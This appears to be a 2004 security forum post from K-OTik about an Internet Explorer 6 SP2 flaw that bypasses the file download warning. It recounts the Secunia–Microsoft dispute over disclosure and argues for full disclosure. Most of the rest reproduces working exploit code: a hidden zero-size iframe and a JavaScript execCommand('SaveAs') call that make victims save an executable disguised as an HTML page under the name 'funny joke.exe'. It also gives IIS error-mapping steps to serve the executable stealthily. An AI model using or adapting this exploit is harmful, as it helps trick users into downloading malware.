Microsoft Internet Explorer 6 SP2 Vulnerabilities / Full disclosure Vs. Security by Obscurity...
Let's play,
On Wednesday 17, Nov - Secunia released the advisory "Microsoft Internet
Explorer Two Vulnerabilities", related to a vulnerability discovered by "cyber
flash". This unpatched "file download security warning
bypass" flaw could be exploited to download a malicious executable file
masqueraded as a "HTML document".
Microsoft said : "Secunia you're bad, this vulnerability was not disclosed
responsibly"
Secunia said "NO ! No ! We did not release the technical details of this flaw
and our policy is to not reveal vulnerability details until a fix had been
provided, unless they were already in the wild. We did not discover this
vulnerability, so we can not censure it"
Some people said "Who is cyberflash ? perhaps Secunia discovered this flaw, but
masked it behind a third party researcher"
K-OTik Says to "Some people" : "cyber flash is not a fictitious security
researcher"
K-OTik Says to "MS & Secunia" : "There is no security through obscurity...and
full disclosure is our policy"
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Internet Explorer 6.0 SP2 File Download Security Warning Bypass
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Exploit -> http://www.k-otik.com/exploits/20041119.IESP2Unpatched.php
Technical Details - >
http://www.k-otik.com/exploits/20041119.IESP2disclosure.php
all credits go to Cyber flash A.K.A Vengy
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<cyberflash>
The following code requires no special server setup, and should work from any
webpage that IE 6.0 fetches:
<iframe src='http://domain.com/v.exe?.htm' name="NotFound" width="0"
height="0"></iframe>Click
<a href=#
onclick="javascript:document.frames.NotFound.document.execCommand('SaveAs',1,'funny
joke.exe');">
here</a>
Also, here's an example that requires modifying the IIS Error Mapping
Properties (see below):
<iframe src='vengy404.htm' name="NotFound" width="0" height="0"></iframe>Click
<a href=#
onclick="javascript:document.frames.NotFound.document.execCommand('SaveAs',1,'funny
joke.exe');">
here</a>.
Steps to configure IIS:
Launch Internet Information Services manager.
Under the 'Custom Errors' tab, modify the Error Mapping Properties as follows:
Error Code: 404
Default Text: Not Found
Message Type: URL
URL: /v.exe (name of the executable)
Within the HTML page, insert an IFRAME as follows:
<iframe src='vengy404.htm' name="NotFound" width="0" height="0"></iframe>
The file 'vengy404.htm' intentionally doesn't exist on the server, so it will
trigger a 404 error message as defined above. But, the javascript code below
references the stealthy v.exe data within the frame 'NotFound' and is linked to
'funny joke.exe' when prompted to save the file:
javascript:document.frames.NotFound.document.execCommand('SaveAs',1,'funny
joke.exe');
</cyberflash>